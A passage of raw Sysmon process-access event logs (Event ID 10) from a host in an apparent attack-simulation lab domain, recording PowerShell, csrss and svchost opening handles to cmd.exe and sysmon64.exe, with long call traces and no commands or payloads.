AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-001061C90800}\r\nTargetProcessId: 5052\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-4173-5F2D-0000-0010ABA40800}","SourceProcessId":"2512","SourceThreadId":"5112","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-001061C90800}","TargetProcessId":"5052","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+5970(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efc68|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4efadc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c572308|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e86c4|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa1667|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4e4806|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51d996","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-001061C90800}\r\nTargetProcessId: 5052\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4174-5F2D-0000-001061C90800}","TargetProcessId":"5052","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.541\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.541","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 